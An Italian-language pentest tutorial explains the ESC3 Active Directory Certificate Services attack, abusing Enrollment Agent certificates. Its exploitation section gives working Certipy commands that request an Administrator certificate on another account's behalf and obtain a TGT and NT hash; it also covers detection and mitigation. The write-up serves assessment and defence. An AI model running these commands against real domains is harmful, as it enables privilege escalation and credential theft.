ESC3 AD CS: Enrollment Agent e Active Directory Privesc

ESC3 in Active Directory Certificate Services: abuso del Certificate Request Agent (Enrollment Agent) #

ESC3 è una tecnica di Active Directory Privilege Escalation tramite AD CS che sfrutta i certificati Enrollment Agent: un Enrollment Agent è un’identità autorizzata a richiedere certificati per conto di un altro utente, un meccanismo pensato originariamente per smart card e scenari di enrollment delegato.

Il punto che la bozza originale di questo articolo semplificava troppo: possedere un certificato Enrollment Agent non significa automaticamente poter richiedere certificati per qualsiasi account del dominio. La catena dipende anche da un secondo template (il target), dalle Enrollment Agent Restrictions eventualmente configurate sulla CA, e da requisiti di approvazione che possono bloccare la richiesta in qualsiasi punto.

Glossario rapido #

Per i concetti base: Certipy: guida completa, EKU OID in AD CS: guida per il pentest. Per la tecnica strettamente correlata basata su EKU Any Purpose: ESC2.

Due certificati, due ruoli distinti #

Vale la pena chiarirlo prima di passare ai comandi, perché la bozza originale confondeva i due file:

1. Template agente → produce attacker.pfx: il certificato con EKU Certificate Request Agent e la relativa chiave privata. Da solo non impersona nessuno.
2. Richiesta on-behalf-of → usa attacker.pfx per firmare una richiesta contro il template target, rispettando le policy della CA.
3. Certificato finale → produce administrator.pfx: il certificato emesso per il soggetto target, se la richiesta viene accettata. Solo questo, se valido e accettato dal KDC, permette di autenticarsi come quel soggetto.

Il possesso del primo file non garantisce di ottenere il secondo: in mezzo ci sono controlli della CA che possono fermare la catena.

Quando esiste ESC3: la checklist completa #

La bozza originale elencava tre condizioni generiche. Per capire se la catena è davvero percorribile servono più voci:

Template agente vs template target: Schema V1 contro V2+ #

Stessa distinzione fondamentale vista in ESC2: i template Schema Version 1 (es. i built-in User, Machine) non hanno il concetto di firme autorizzate nella stessa forma dei template successivi — per questo sono i target “classici” di ESC3. Ma Schema Version 1 non significa automaticamente vulnerabile: restano da verificare permessi, pubblicazione sulla CA e le Enrollment Agent Restrictions.

Identificazione con Certipy #

certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdout

Sul template agente:

Template Name      : EnrollAgent
Enrollment Agent    : True
Extended Key Usage  : Certificate Request Agent

[!] Vulnerabilities
    ESC3 : Template has Certificate Request Agent EKU set

Sul possibile template target:

Template Name          : User
Client Authentication  : True
Schema Version         : 1

Remarks
    ESC3 Target Template

Da non dare per scontato: ESC3 Target Template nelle Remarks segnala un candidato, non una conferma che la catena sia completa — mancano ancora la verifica dei tuoi permessi effettivi di enrollment su quel template e delle Enrollment Agent Restrictions della CA, che certipy find da solo non sempre esaurisce.

Exploitation #

Step 1 — Ottenere il certificato Enrollment Agent

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template EnrollAgent

Successfully requested certificate
Saving certificate to attacker.pfx

Questo conferma solo che hai ottenuto il certificato agente — non ancora che potrai usarlo contro il target scelto.

Step 2 — Richiedere il certificato per Administrator usando l’agente

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template User \
  -pfx attacker.pfx \
  -on-behalf-of 'CORP\Administrator'

Due correzioni rispetto alla bozza originale:

• 'CORP\Administrator' va tra apici singoli — senza quoting, Bash può alterare il backslash prima che raggiunga Certipy.
• Il formato richiesto da Certipy è NOME_NETBIOS_DOMINIO\samAccountName (es. CORP\Administrator), non il nome DNS completo del dominio (corp.local\Administrator non è il formato corretto).

Successfully requested certificate
Saving certificate to administrator.pfx

Anche qui, il messaggio confirma solo che la CA ha accettato la richiesta on-behalf-of — non che il certificato risultante autenticherà con successo.

Step 3 — Verificare il certificato prima di autenticarti

Su Windows, con il certificato esportato:

certutil -dump administrator.cer

Controlla: il subject/SAN contiene davvero l’identità attesa, è presente il SID del soggetto (se la CA lo include), e l’EKU è compatibile con l’autenticazione.

Step 4 — Autenticazione

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100

Got TGT
Got NT hash for 'administrator'

Tre esiti distinti, non uno solo #

L’impersonation di un account privilegiato può avere un impatto molto alto, ma non equivale automaticamente a una shell amministrativa ovunque: dipende dai privilegi reali del soggetto impersonato e da cosa quel contesto Kerberos permette di raggiungere.

Troubleshooting #

Detection #

Distingui tre livelli, come per ESC2:

1. Identificazione della misconfigurazione: certipy find come sopra — assessment, non detection di un abuso in corso.

2. Monitoraggio sulla CA:

Questi eventi richiedono l’auditing abilitato sia sul filtro della CA sia tramite Advanced Audit Policy del sistema operativo — e da soli non sono indicatori univoci di abuso: una richiesta on-behalf-of legittima (es. per smart card) genera eventi simili. Serve correlare richiedente, template e soggetto target, non limitarsi all’ID evento.

3. Verifica dell’impatto: quali certificati emessi tramite on-behalf-of hanno portato a un’autenticazione riuscita, e con quali privilegi.

Mitigation #

1. Limitare l’enrollment sui template agente — non concederlo a Domain Users/Authenticated Users.
2. Configurare le Enrollment Agent Restrictions sulla CA: questa è la mitigazione più diretta, non “usare template V2+” in generale. Limita esplicitamente quali principal possono fare da agente, su quali template target, e per quali soggetti.
3. Abilitare Manager Approval su entrambi i template dove il processo lo consente.
4. Sui template target V2+, impostare Authorized Signatures Required per richiedere più di un agente.
5. Rimuovere dalla CA i template agente non più necessari — non serve eliminare i template V1 predefiniti (non è possibile farlo per i built-in), basta non pubblicarli se non servono.
6. In caso di abuso confermato: individuare e revocare i certificati compromessi, e valutare la rotazione delle chiavi/account coinvolti in base all’incidente.

FAQ #

Cos’è ESC3? Una tecnica che sfrutta i certificati Enrollment Agent (EKU Certificate Request Agent) per richiedere certificati a nome di altri account, quando un template lo consente e non ci sono restrizioni bloccanti sulla CA.

Un Enrollment Agent può richiedere certificati per qualsiasi utente del dominio? No — solo per i soggetti permessi dalla combinazione di template target, permessi di enrollment, Enrollment Agent Restrictions della CA e requisiti di approvazione/firma.

ESC3 porta sempre a Domain Admin? Può, se esiste una catena completa fino a un account effettivamente privilegiato e l’autenticazione finale riesce — non è un risultato garantito dalla sola esistenza di un certificato agente.

ESC3 è simile a ESC2? Sì nello sfruttamento finale (richiesta on-behalf-of), ma diverso nell’origine: ESC2 nasce da un’EKU Any Purpose o vuota, ESC3 da un’EKU Certificate Request Agent esplicita su un template dedicato.

Perché certipy req riesce ma certipy auth fallisce? Spesso per problemi di certificate mapping sul Domain Controller, indipendenti da ESC3 — vale la pena controllare se è in gioco ESC9, ESC10 o ESC16.

Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy.

Fonti tecniche: Certipy — Privilege Escalation Wiki, SpecterOps / Ghostpack — ESC3: Misconfigured Certificate Request Agent.